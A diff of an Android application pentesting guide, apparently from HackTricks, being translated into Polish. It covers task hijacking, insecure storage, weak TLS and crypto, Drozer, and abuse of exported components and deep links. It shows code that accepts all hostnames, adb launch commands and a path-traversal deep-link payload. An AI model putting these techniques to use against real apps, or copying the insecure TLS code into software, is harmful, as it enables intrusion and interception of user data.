`launchMode` ustawionym na **`singleTask` bez zdefiniowanego `taskAffinity`** jest podatna na task Hijacking. Oznacza to, że **aplikacja** może zostać zainstalowana i jeśli zostanie uruchomiona przed prawdziwą aplikacją, może **przejąć task prawdziwej aplikacji** (więc użytkownik będzie wchodził w interakcję z **malicious application myśląc, że używa prawdziwej**). +Aktywność z ustawionym **`launchMode`** na **`singleTask` bez zdefiniowanego `taskAffinity`** jest podatna na Task Hijacking. Oznacza to, że aplikacja może zostać zainstalowana i jeśli zostanie uruchomiona przed prawdziwą aplikacją, może **przejąć task prawdziwej aplikacji** (w rezultacie użytkownik będzie wchodził w interakcję z **malicious application** myśląc, że używa prawdziwej). More info in: @@ -113,71 +113,71 @@ More info in: android-task-hijacking.md {{#endref}} -### Insecure data storage +### Niezabezpieczone przechowywanie danych -**Internal Storage** +**Pamięć wewnętrzna** -W Androidzie pliki **przechowywane** w **internal** storage są **zaprojektowane** tak, aby były dostępne wyłącznie dla **app**, która je **utworzyła**. Ten mechanizm bezpieczeństwa jest **wymuszany** przez system Android i ogólnie jest wystarczający dla potrzeb bezpieczeństwa większości aplikacji. Jednak deweloperzy czasami używają trybów takich jak `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE`, aby **pozwolić** na współdzielenie plików między różnymi aplikacjami. Te tryby **nie ograniczają jednak dostępu** do tych plików przez inne aplikacje, w tym potencjalnie malicious ones. +W Androidzie pliki **przechowywane** w **internal** storage są **zaprojektowane** tak, aby były **dostępne** wyłącznie dla **aplikacji**, która je **utworzyła**. Ten mechanizm bezpieczeństwa jest **wymuszony** przez system Android i zazwyczaj wystarcza do zabezpieczenia większości aplikacji. Jednak deweloperzy czasem używają trybów takich jak `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE`, aby **pozwolić** na **udostępnianie** plików między różnymi aplikacjami. Te tryby **nie ograniczają dostępu** do tych plików przez inne aplikacje, w tym potencjalnie złośliwe. 1. **Static Analysis:** -- **Upewnij się**, że użycie `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` jest **dokładnie sprawdzone**. Te tryby **mogą potencjalnie ujawnić** pliki dla **niezamierzonego lub nieautoryzowanego dostępu**. +- **Upewnij się**, że użycie `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` jest **dokładnie ocenione**. Te tryby **mogą potencjalnie ujawnić** pliki **niezamierzonemu lub nieautoryzowanemu dostępowi**. 2. **Dynamic Analysis:** -- **Zweryfikuj** uprawnienia ustawione na plikach tworzonych przez aplikację. Konkretnie **sprawdź**, czy jakieś pliki nie zostały ustawione jako czytelne lub zapisywalne dla wszystkich. To może stanowić poważne ryzyko bezpieczeństwa, ponieważ umożliwiłoby **dowolnej aplikacji** zainstalowanej na urządzeniu, niezależnie od jej pochodzenia czy intencji, **odczyt lub modyfikację** tych plików. +- **Zweryfikuj** uprawnienia ustawione na plikach tworzonych przez aplikację. W szczególności **sprawdź**, czy jakiekolwiek pliki nie są **ustawione jako czytelne lub zapisywalne dla wszystkich**. Może to stanowić istotne ryzyko bezpieczeństwa, ponieważ pozwoliłoby **każdej aplikacji** zainstalowanej na urządzeniu, niezależnie od jej pochodzenia czy intencji, **odczytywać lub modyfikować** te pliki. -**External Storage** +**Pamięć zewnętrzna** -Przy pracy z plikami na **external storage**, takimi jak SD Cards, należy zachować następujące środki ostrożności: +W przypadku plików na **external storage**, takich jak karty SD, należy zachować ostrożność: -1. **Accessibility**: -- Pliki na external storage są **globalnie czytelne i zapisywalne**. Oznacza to, że dowolna aplikacja lub użytkownik może mieć do nich dostęp. -2. **Security Concerns**: -- Ze względu na łatwy dostęp, nie zaleca się **przechowywania wrażliwych informacji** na external storage. -- External storage może być usunięty lub dostępny dla dowolnej aplikacji, co czyni go mniej bezpiecznym. -3. **Handling Data from External Storage**: -- Zawsze **przeprowadzaj walidację wejścia** danych pobieranych z external storage. To kluczowe, ponieważ dane pochodzą z nieufnego źródła. -- Przechowywanie plików wykonywalnych lub klas na external storage do dynamicznego ładowania jest zdecydowanie odradzane. -- Jeśli aplikacja musi pobierać pliki wykonywalne z external storage, upewnij się, że są one **podpisane i zweryfikowane kryptograficznie** przed dynamicznym załadowaniem. Ten krok jest niezbędny dla zachowania integralności bezpieczeństwa aplikacji. +1. **Dostępność**: +- Pliki na external storage są **globalnie czytelne i zapisywalne**. Oznacza to, że każda aplikacja lub użytkownik może mieć do nich dostęp. +2. **Obawy dotyczące bezpieczeństwa**: +- Ze względu na łatwość dostępu, zaleca się **nie przechowywać wrażliwych informacji** na external storage. +- External storage może zostać usunięty lub dostęp do niego może uzyskać dowolna aplikacja, co czyni go mniej bezpiecznym. +3. **Obsługa danych z external storage**: +- Zawsze **przeprowadzaj walidację wejścia** dla danych pobranych z external storage. To kluczowe, ponieważ dane pochodzą z nieufnego źródła. +- Zdecydowanie odradza się przechowywanie plików wykonywalnych lub klas na external storage w celu dynamicznego ładowania. +- Jeżeli aplikacja musi pobierać pliki wykonywalne z external storage, upewnij się, że te pliki są **podpisane i kryptograficznie weryfikowane** przed dynamicznym załadowaniem. Ten krok jest kluczowy dla zachowania integralności bezpieczeństwa aplikacji. -External storage can be **accessed** in `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` +External storage można **uzyskać** w /storage/emulated/0 , /sdcard , /mnt/sdcard > [!TIP] > Starting with Android 4.4 (**API 17**), the SD card has a directory structure which **limits access from an app to the directory which is specifically for that app**. This prevents malicious application from gaining read or write access to another app's files. -**Sensitive data stored in clear-text** +**Wrażliwe dane przechowywane jawnie** -- **Shared preferences**: Android allow to each application to easily save xml files in the path `/data/data//shared_prefs/` and sometimes it's possible to find sensitive information in clear-text in that folder. -- **Databases**: Android allow to each application to easily save sqlite databases in the path `/data/data//databases/` and sometimes it's possible to find sensitive information in clear-text in that folder. +- **Shared preferences**: Android pozwala każdej aplikacji na łatwe zapisywanie plików xml w ścieżce `/data/data//shared_prefs/` i czasem można znaleźć wrażliwe informacje w postaci jawnej w tym folderze. +- **Databases**: Android pozwala każdej aplikacji na łatwe zapisywanie baz sqlite w ścieżce `/data/data//databases/` i czasem można znaleźć wrażliwe informacje w postaci jawnej w tym folderze. -### Broken TLS +### Błędna konfiguracja TLS **Accept All Certificates** -Z jakiegoś powodu deweloperzy czasami akceptują wszystkie certyfikaty, nawet jeśli na przykład nazwa hosta nie pasuje, używając linii kodu takich jak poniższa: +Z jakiegoś powodu deweloperzy czasem akceptują wszystkie certyfikaty, nawet jeśli na przykład hostname nie pasuje, używając linii kodu podobnych do następującej: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); ``` -A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it. +Dobrym sposobem przetestowania tego jest próba przechwycenia ruchu za pomocą proxy, takiego jak Burp, bez autoryzowania Burp CA na urządzeniu. Możesz też wygenerować w Burp certyfikat dla innej nazwy hosta i go użyć. ### Błędna kryptografia **Słabe procesy zarządzania kluczami** -Niektórzy deweloperzy zapisują dane wrażliwe w local storage i szyfrują je kluczem zakodowanym na stałe/przewidywalnym w kodzie. Nie powinno się tego robić, ponieważ pewne techniki reversing mogą pozwolić atakującym na wyciągnięcie poufnych informacji. +Niektórzy deweloperzy zapisują dane wrażliwe w lokalnej pamięci i szyfrują je kluczem zakodowanym na stałe/przewidywalnym w kodzie. Nie powinno się tego robić, ponieważ analiza odwrotna może umożliwić atakującym wyodrębnienie poufnych informacji. **Użycie niebezpiecznych i/lub przestarzałych algorytmów** -Deweloperzy nie powinni używać **deprecated algorithms** do wykonywania autoryzacyjnych **checks**, **store** lub **send** danych. Niektóre z tych algorytmów to: RC4, MD4, MD5, SHA1... Jeśli **hashes** są używane do przechowywania haseł na przykład, należy używać hashów odpornych na brute-force z salt. +Deweloperzy nie powinni używać **deprecated algorithms** do przeprowadzania autoryzacyjnych **checks**, **store** lub **send** danych. Niektóre z tych algorytmów to: RC4, MD4, MD5, SHA1... Jeśli do przechowywania haseł używane są **hashes**, powinno się stosować odporne na brute-force algorytmy z salt. -### Inne sprawdzenia +### Inne kontrole -- It's recommended to **obfuscate the APK** to difficult the reverse engineer labour to attackers. -- If the app is sensitive (like bank apps), it should perform it's **own checks to see if the mobile is rooted** and act in consequence. -- If the app is sensitive (like bank apps), it should check if an **emulator** is being used. -- If the app is sensitive (like bank apps), it should **check it's own integrity before executing** it to check if it was modified. -- Use [**APKiD**](https://github.com/rednaga/APKiD) to check which compiler/packer/obfuscator was used to build the APK +- Zaleca się **obfuskować APK**, aby utrudnić pracę reverse engineerów atakującym. +- Jeśli aplikacja jest wrażliwa (np. aplikacje bankowe), powinna wykonać swoje własne **sprawdzenia, czy urządzenie jest rooted** i działać odpowiednio. +- Jeśli aplikacja jest wrażliwa (np. aplikacje bankowe), powinna sprawdzać, czy używany jest **emulator**. +- Jeśli aplikacja jest wrażliwa (np. aplikacje bankowe), powinna **sprawdzić swoją integralność przed uruchomieniem**, aby upewnić się, czy nie została zmodyfikowana. +- Użyj [**APKiD**](https://github.com/rednaga/APKiD) aby sprawdzić, który compiler/packer/obfuscator został użyty do zbudowania APK -### React Native Application +### Aplikacja React Native Read the following page to learn how to easily access javascript code of React applications: @@ -186,7 +186,7 @@ Read the following page to learn how to easily access javascript code of React a react-native-application.md {{#endref}} -### Xamarin Applications +### Aplikacje Xamarin Read the following page to learn how to easily access C# code of a xamarin applications: @@ -199,15 +199,15 @@ Read the following page to learn how to easily access C# code of a xamarin appli According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. The blog talks about the possibility of creating an app that decompress these kind of apps... and a faster way which involves to **execute the application and gather the decompressed files from the filesystem.** -### Automated Static Code Analysis +### Automatyczna analiza statyczna kodu -The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnerabilities** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and **rules**. These rules indicates the **combination** of **sources-sinks** that indicates a vulnerability. +Narzędzie [**mariana-trench**](https://github.com/facebook/mariana-trench) jest w stanie znaleźć **vulnerabilities** przez **scanning** **code** aplikacji. To narzędzie zawiera zbiór **known sources** (które wskazują narzędziu **places** gdzie **input** jest **controlled by the user**), **sinks** (które wskazują narzędziu **dangerous** **places** gdzie złośliwy input użytkownika może spowodować szkody) oraz **rules**. Te rules wskazują **combination** **sources-sinks**, które oznaczają podatność. -With this knowledge, **mariana-trench will review the code and find possible vulnerabilities on it**. +Z tą wiedzą, **mariana-trench will review the code and find possible vulnerabilities on it**. ### Secrets leaked -An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) +Aplikacja może zawierać sekrety (API keys, passwords, hidden urls, subdomains...) wewnątrz, które możesz odkryć. Możesz użyć narzędzia takiego jak [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) ### Bypass Biometric Authentication @@ -216,7 +216,7 @@ An application may contain secrets (API keys, passwords, hidden urls, subdomains bypass-biometric-authentication-android.md {{#endref}} -### Other interesting functions +### Inne ciekawe funkcje - **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()` - **Send SMSs**: `sendTextMessage, sendMultipartTestMessage` @@ -236,87 +236,86 @@ content-protocol.md ## Analiza dynamiczna -> First of all, you need an environment where you can install the application and all the environment (Burp CA cert, Drozer and Frida mainly). Therefore, a rooted device (emulated or not) is extremely recommended. +> Przede wszystkim potrzebujesz środowiska, w którym możesz zainstalować aplikację i całe środowisko (Burp CA cert, Drozer i Frida głównie). Dlatego zdecydowanie zalecane jest użycie urządzenia rooted (emuowane lub nie). -### Online Dynamic analysis +### Online dynamic analysis -You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving. +Możesz utworzyć darmowe konto na: [https://appetize.io/](https://appetize.io). Ta platforma pozwala na przesyłanie i uruchamianie APK, więc jest przydatna do obserwowania, jak APK się zachowuje. -You can even **see the logs of your application** in the web and connect through **adb**. +Możesz nawet **zobaczyć logi swojej aplikacji** w sieci i połączyć się przez **adb**. ![](<../../images/image (831).png>) -Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators. +Dzięki połączeniu ADB możesz używać **Drozer** i **Frida** wewnątrz emulatorów. -### Local Dynamic Analysis +### Lokalna analiza dynamiczna -#### Using an emulator +#### Użycie emulatora -- [**Android Studio**](https://developer.android.com/studio) (You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator). -- Learn to set it up in this page: +- [**Android Studio**](https://developer.android.com/studio) (Możesz stworzyć urządzenia **x86** i **arm**, a zgodnie z [**this**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) **latest x86** versions **support ARM libraries** bez konieczności używania wolnego emulatora arm). +- Naucz się jak to skonfigurować na tej stronie: {{#ref}} avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._) -- [**Nox**](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer). +- [**Genymotion**](https://www.genymotion.com/fun-zone/) (Bezpłatna wersja: Personal Edition, trzeba utworzyć konto. Zaleca się pobranie wersji Z **VirtualBox**, aby uniknąć potencjalnych błędów.) +- [**Nox**](https://es.bignox.com) (Darmowy, ale nie obsługuje Frida ani Drozer). > [!TIP] -> When creating a new emulator on any platform remember that the bigger the screen is, the slower the emulator will run. So select small screens if possible. +> Tworząc nowy emulator na dowolnej platformie pamiętaj, że im większy ekran, tym wolniej będzie działać emulator. Wybieraj więc, jeśli to możliwe, mniejsze ekrany. -To **install google services** (like AppStore) in Genymotion you need to click on the red marked button of the following image: +Aby **zainstalować google services** (np. AppStore) w Genymotion, musisz kliknąć przycisk oznaczony na czerwono na poniższym obrazku: ![](<../../images/image (277).png>) -Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** (this will be useful if you will be connecting to the Android VM from a different VM with the tools). +Zwróć też uwagę, że w **konfiguracji Android VM w Genymotion** możesz wybrać **Bridge Network mode** (przydatne, jeśli będziesz łączyć się z Android VM z innej VM z narzędziami). -#### Use a physical device +#### Użycie urządzenia fizycznego -You need to activate the **debugging** options and it will be cool if you can **root** it: +Musisz aktywować opcje **debugowania**, a dobrze byłoby, gdybyś mógł je **root**: 1. **Ustawienia**. -2. (FromAndroid 8.0) Wybierz **System**. +2. (Od Android 8.0) Wybierz **System**. 3. Wybierz **Informacje o telefonie**. 4. Naciśnij **Numer kompilacji** 7 razy. -5. Wróć i znajdziesz **Opcje programistyczne**. +5. Wróć i znajdziesz **Opcje programisty**. -> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\ -> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so we will be able to **learn how the application works** while MobSF **captures** a lot of **interesting** **data** you can review later on. +> Po zainstalowaniu aplikacji, pierwszą rzeczą, którą powinieneś zrobić, jest wypróbować ją, zbadać, co robi, jak działa i oswoić się z nią. Zalecam **wykonanie tej początkowej analizy dynamicznej przy użyciu MobSF dynamic analysis + pidcat**, dzięki czemu będziemy mogli **dowiedzieć się, jak działa aplikacja**, podczas gdy MobSF **zbiera** mnóstwo **interesujących** **danych**, które możesz później przejrzeć. ### Unintended Data Leakage **Logging** -Deweloperzy powinni być ostrożni z ujawnianiem informacji debugowych publicznie, ponieważ może to prowadzić do sensitive data leaks. Narzędzia [**pidcat**](https://github.com/JakeWharton/pidcat) i `adb logcat` są rekomendowane do monitorowania logów aplikacji w celu identyfikacji i ochrony wrażliwych informacji. **Pidcat** jest preferowany ze względu na łatwość użycia i czytelność. +Deweloperzy powinni zachować ostrożność przy ujawnianiu **debugging information** publicznie, ponieważ może to prowadzić do sensitive data leaks. Narzędzia [**pidcat**](https://github.com/JakeWharton/pidcat) oraz `adb logcat` są zalecane do monitorowania logów aplikacji w celu identyfikacji i ochrony informacji wrażliwych. **Pidcat** jest preferowany ze względu na łatwość użycia i czytelność. > [!WARNING] -> Note that from **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\ -> Anyway, it's still recommended to **not log sensitive information**. +> Zauważ, że od **wersji nowszej niż Android 4.0**, **aplikacje mogą uzyskiwać dostęp tylko do swoich własnych logów**. Więc aplikacje nie mogą uzyskać dostępu do logów innych aplikacji.\ +> Mimo to nadal zaleca się **nie logować informacji wrażliwych**. **Copy/Paste Buffer Caching** -Android's **clipboard-based** framework umożliwia funkcjonalność copy-paste w aplikacjach, jednak stanowi ryzyko, ponieważ **inne aplikacje** mogą **uzyskać dostęp** do schowka, potencjalnie ujawniając wrażliwe dane. Kluczowe jest **wyłączenie funkcji copy/paste** dla wrażliwych sekcji aplikacji, takich jak dane karty kredytowej, aby zapobiec data leaks. +Androidowy framework oparty na **clipboard-based** umożliwia funkcję kopiuj-wklej w aplikacjach, jednak stwarza ryzyko, ponieważ **inne aplikacje** mogą **access** schowka, potencjalnie ujawniając wrażliwe dane. Kluczowe jest **wyłączenie funkcji copy/paste** dla wrażliwych sekcji aplikacji, takich jak dane karty kredytowej, aby zapobiec data leaks. **Crash Logs** -Jeśli aplikacja **crashuje** i **zapisuje logi**, te logi mogą pomóc atakującym, szczególnie gdy aplikacja nie może zostać łatwo reverse-engineerowana. Aby zminimalizować to ryzyko, unikaj logowania przy crashach, a jeśli logi muszą być przesyłane przez sieć, upewnij się, że są wysyłane przez kanał SSL dla bezpieczeństwa. +Jeśli aplikacja **crashes** i **saves logs**, te logi mogą pomóc atakującym, szczególnie gdy aplikacja nie może być reverse-engineerowana. Aby złagodzić to ryzyko, unikaj logowania przy crashach, a jeśli logi muszą być przesyłane przez sieć, upewnij się, że są wysyłane przez kanał SSL dla bezpieczeństwa. Jako pentester, **spróbuj rzucić okiem na te logi**. **Analytics Data Sent To 3rd Parties** -Aplikacje często integrują usługi takie jak Google Adsense, które mogą przypadkowo leak sensitive data z powodu nieprawidłowej implementacji przez deweloperów. Aby zidentyfikować potencjalne wycieki danych, zaleca się przechwycenie ruchu aplikacji i sprawdzenie, czy jakiekolwiek wrażliwe informacje są wysyłane do usług zewnętrznych. +Aplikacje często integrują usługi takie jak Google Adsense, które mogą niezamiernie **leak sensitive data** z powodu nieprawidłowej implementacji przez deweloperów. Aby zidentyfikować potencjalne data leaks, zaleca się **intercept the application's traffic** i sprawdzić, czy jakiekolwiek wrażliwe informacje są wysyłane do usług stron trzecich. ### SQLite DBs -Większość aplikacji używa **internal SQLite databases** do zapisywania informacji. Podczas pentestu przyjrzyj się **bazom danych** utworzonym, nazwom **tabel** i **kolumn** oraz wszystkim zapisanym **danym**, ponieważ możesz znaleźć **sensitive information** (co byłoby podatnością).\ -Bazy danych powinny znajdować się w /data/data/the.package.name/databases, np. /data/data/com.mwr.example.sieve/databases +Większość aplikacji będzie używać **internal SQLite databases** do zapisywania informacji. Podczas pentest zwróć uwagę na **databases** utworzone, nazwy **tables** i **columns** oraz wszystkie zapisane **data**, ponieważ możesz znaleźć **sensitive information** (co byłoby podatnością).\ +Bazy danych powinny być zlokalizowane w `/data/data/the.package.name/databases` na przykład `/data/data/com.mwr.example.sieve/databases` -Jeśli baza danych zapisuje poufne informacje i jest **encrypted** ale możesz **find** hasło wewnątrz aplikacji, to nadal jest to **vulnerability**. +Jeśli baza danych przechowuje poufne informacje i jest **encrypted** ale możesz **find** **password** wewnątrz aplikacji, to nadal jest **vulnerability**. -Enumeruj tabele używając `.tables` i enumeruj kolumny tabel używając `.schema ` +Wyenumeruj tabele używając `.tables` i wyświetl kolumny tabel poleceniem `.schema ` ### Drozer (Exploit Activities, Content Providers and Services) @@ -341,50 +340,50 @@ You can also start an exported activity from adb: ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -**NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21). +**UWAGA**: MobSF wykryje jako złośliwe użycie _**singleTask/singleInstance**_ jako `android:launchMode` w aktywności, ale zgodnie z [tym](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), najwyraźniej jest to niebezpieczne tylko w starych wersjach (API versions < 21). > [!TIP] -> Należy pamiętać, że authorisation bypass nie zawsze jest podatnością — zależy to od tego, jak bypass działa i jakie informacje są ujawniane. +> Należy pamiętać, że obejście autoryzacji nie zawsze jest podatnością — zależy to od sposobu działania bypassu i jakie informacje są ujawniane. -**Sensitive information leakage** +**Ujawnianie wrażliwych informacji** -Activities mogą również zwracać wyniki. Jeśli uda Ci się znaleźć eksportowaną i niezabezpieczoną activity wywołującą metodę **`setResult`** i **zwracającą poufne informacje**, istnieje sensitive information leakage. +**Aktywności mogą również zwracać wyniki**. Jeśli uda Ci się znaleźć eksportowaną i niechronioną aktywność wywołującą metodę **`setResult`** i **zwracającą wrażliwe informacje**, dochodzi do ujawnienia wrażliwych informacji. #### Tapjacking -Jeśli Tapjacking nie jest zapobiegany, możesz nadużyć eksportowanej activity, aby sprawić, że **użytkownik wykona nieoczekiwane akcje**. Po więcej informacji o [**what is Tapjacking follow the link**](#tapjacking). +Jeśli Tapjacking nie jest zapobiegany, możesz wykorzystać eksportowaną aktywność, aby spowodować, że **użytkownik wykona nieoczekiwane akcje**. Więcej informacji o [**czym jest Tapjacking — zobacz link**](#tapjacking). ### Exploiting Content Providers - Accessing and manipulating sensitive information [**Przeczytaj to, jeśli chcesz odświeżyć, czym jest Content Provider.**](android-applications-basics.md#content-provider)\ -Content providers są zasadniczo używane do **udostępniania danych**. Jeśli aplikacja ma dostępne content providers, możesz być w stanie **wydobyć poufne** dane z nich. Warto również przetestować potencjalne **SQL injections** i **Path Traversals**, ponieważ mogą być podatne. +Content providers służą zasadniczo do **udostępniania danych**. Jeśli aplikacja udostępnia content providers, możesz być w stanie **wyodrębnić wrażliwe** dane z nich. Warto także przetestować możliwe **SQL injections** i **Path Traversals**, ponieważ mogą być podatne. -[**Dowiedz się, jak exploitować Content Providers przy użyciu Drozer.**](drozer-tutorial/index.html#content-providers) +[**Dowiedz się, jak wykorzystać Content Providers przy użyciu Drozer.**](drozer-tutorial/index.html#content-providers) ### **Exploiting Services** [**Przeczytaj to, jeśli chcesz odświeżyć, czym jest Service.**](android-applications-basics.md#services)\ -Pamiętaj, że działania Service zaczynają się w metodzie `onStartCommand`. +Pamiętaj, że działania Service rozpoczynają się w metodzie `onStartCommand`. -Service jest zasadniczo czymś, co **może odbierać dane**, **przetwarzać** je i **zwracać** (lub nie) odpowiedź. Zatem, jeśli aplikacja eksportuje jakieś services, powinieneś **sprawdzić** **kod**, aby zrozumieć, co robi, i **przetestować** go **dynamicznie** w celu wydobycia poufnych informacji, obejścia mechanizmów uwierzytelniania...\ -[**Dowiedz się, jak exploitować Services przy użyciu Drozer.**](drozer-tutorial/index.html#services) +Service to w zasadzie coś, co **może otrzymywać dane**, **przetwarzać** je i **zwracać** (lub nie) odpowiedź. Zatem jeśli aplikacja eksportuje jakieś services, powinieneś **sprawdzić** **kod**, aby zrozumieć, co robi, i **przetestować** go **dynamicznie** w celu wyciągnięcia informacji poufnych, obejścia mechanizmów uwierzytelniania itp.\ +[**Dowiedz się, jak wykorzystać Services przy użyciu Drozer.**](drozer-tutorial/index.html#services) ### **Exploiting Broadcast Receivers** [**Przeczytaj to, jeśli chcesz odświeżyć, czym jest Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ -Pamiętaj, że działania Broadcast Receiver zaczynają się w metodzie `onReceive`. +Pamiętaj, że działania Broadcast Receiver rozpoczynają się w metodzie `onReceive`. -Broadcast Receiver będzie oczekiwał na określony typ komunikatu. W zależności od tego, jak receiver obsługuje wiadomość, może być podatny.\ -[**Dowiedz się, jak exploitować Broadcast Receivers przy użyciu Drozer.**](#exploiting-broadcast-receivers) +Broadcast Receiver będzie oczekiwał na określony typ komunikatu. W zależności od tego, jak odbiornik obsługuje komunikat, może być podatny.\ +[**Dowiedz się, jak wykorzystać Broadcast Receivers przy użyciu Drozer.**](#exploiting-broadcast-receivers) ### **Exploiting Schemes / Deep links** -Możesz szukać deep links ręcznie, używając narzędzi takich jak MobSF lub skryptów takich jak [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ -Możesz **otworzyć** zadeklarowany **scheme** używając **adb** lub **przeglądarki**: +Możesz wyszukiwać deep links ręcznie, używając narzędzi takich jak MobSF lub skryptów, takich jak [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ +Możesz **otworzyć** zadeklarowany **scheme** za pomocą **adb** lub **przeglądarki**: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` -_Zauważ, że możesz **pominąć nazwę pakietu**, a urządzenie mobilne automatycznie wywoła aplikację, która powinna otworzyć ten link._ +_Zauważ, że możesz **pominąć nazwę pakietu** i urządzenie mobilne automatycznie uruchomi aplikację, która powinna otworzyć ten link._ ```html Click me @@ -393,56 +392,56 @@ _Zauważ, że możesz **pominąć nazwę pakietu**, a urządzenie mobilne automa ``` **Kod wykonywany** -Aby znaleźć **kod, który zostanie wykonany w App**, przejdź do activity wywoływanej przez deeplink i wyszukaj funkcję **`onNewIntent`**. +Aby znaleźć **kod, który zostanie wykonany w aplikacji**, przejdź do activity wywoływanej przez deeplink i wyszukaj funkcję **`onNewIntent`**. ![](<../../images/image (436) (1) (1) (1).png>) -**Wrażliwe dane** +**Wrażliwe informacje** -Za każdym razem, gdy znajdziesz deep link, sprawdź, czy **nie otrzymuje on wrażliwych danych (like passwords) via URL parameters**, ponieważ dowolna inna aplikacja może **impersonate the deep link and steal that data!** +Za każdym razem, gdy znajdziesz deep link, sprawdź, czy **nie przyjmuje wrażliwych danych (np. haseł) przez parametry URL**, ponieważ każda inna aplikacja mogłaby **podszyć się pod ten deep link i ukraść te dane!** **Parametry w ścieżce** -You **must check also if any deep link is using a parameter inside the path** of the URL like: `https://api.example.com/v1/users/{username}` , in that case you can force a path traversal accessing something like: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ -Note that if you find the correct endpoints inside the application you may be able to cause a **Open Redirect** (if part of the path is used as domain name), **account takeover** (if you can modify users details without CSRF token and the vuln endpoint used the correct method) and any other vuln. More [info about this here](http://dphoeniixx.com/2020/12/13-2/). +Musisz też sprawdzić, czy któryś deep link nie używa parametru w samej ścieżce URL, np.: `https://api.example.com/v1/users/{username}` — w takim przypadku możesz wymusić path traversal, uzyskując dostęp do czegoś takiego: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ +Zauważ, że jeśli znajdziesz poprawne endpointy w aplikacji, możesz spowodować **Open Redirect** (jeśli część ścieżki jest używana jako nazwa domeny), **przejęcie konta** (jeśli możesz modyfikować dane użytkowników bez tokenu CSRF i podatny endpoint używał odpowiedniej metody) oraz inne podatności. Więcej [informacji znajdziesz tutaj](http://dphoeniixx.com/2020/12/13-2/). -**More examples** +**Więcej przykładów** -An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_). +Interesujący [raport bug bounty](https://hackerone.com/reports/855618) dotyczący linków (_/.well-known/assetlinks.json_). ### Inspekcja warstwy transportowej i błędy weryfikacji -- **Certyfikaty nie zawsze są właściwie weryfikowane** przez aplikacje Android. Często aplikacje pomijają ostrzeżenia i akceptują certyfikaty samopodpisane lub, w niektórych przypadkach, wracają do używania połączeń HTTP. -- **Negocjacje podczas SSL/TLS handshake bywają czasem słabe**, używając niebezpiecznych zestawów szyfrów. Ta podatność naraża połączenie na man-in-the-middle (MITM) i pozwala atakującym odszyfrować dane. -- **Leakage of private information** jest ryzykiem, gdy aplikacje uwierzytelniają się przy użyciu secure channels, a następnie komunikują się przez non-secure channels dla innych transakcji. Takie podejście nie chroni wrażliwych danych, takich jak session cookies czy dane użytkownika, przed przechwyceniem przez złośliwe podmioty. +- **Certyfikaty nie zawsze są właściwie sprawdzane** przez aplikacje Android. Często aplikacje te ignorują ostrzeżenia i akceptują certyfikaty self-signed lub, w niektórych przypadkach, przechodzą na połączenia HTTP. +- **Negocjacje podczas handshake SSL/TLS bywają słabe**, używając niebezpiecznych zestawów szyfrów. Ta podatność naraża połączenie na ataki man-in-the-middle (MITM), pozwalając atakującym odszyfrować dane. +- **Wycieki informacji prywatnych** stanowią ryzyko, gdy aplikacje uwierzytelniają się przez bezpieczne kanały, a następnie komunikują się przez niezaszyfrowane kanały w innych operacjach. Takie podejście nie chroni wrażliwych danych, takich jak ciasteczka sesyjne czy dane użytkownika, przed przechwyceniem przez złośliwe podmioty. #### Weryfikacja certyfikatu -Skupimy się na **weryfikacji certyfikatu**. Integralność certyfikatu serwera musi być weryfikowana, aby zwiększyć bezpieczeństwo. Jest to kluczowe, ponieważ niebezpieczne konfiguracje TLS i przesyłanie wrażliwych danych przez kanały niezabezpieczone mogą stanowić poważne ryzyko. Dla szczegółowych kroków dotyczących weryfikacji certyfikatów serwera i usuwania podatności, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) provides comprehensive guidance. +Skupimy się na **weryfikacji 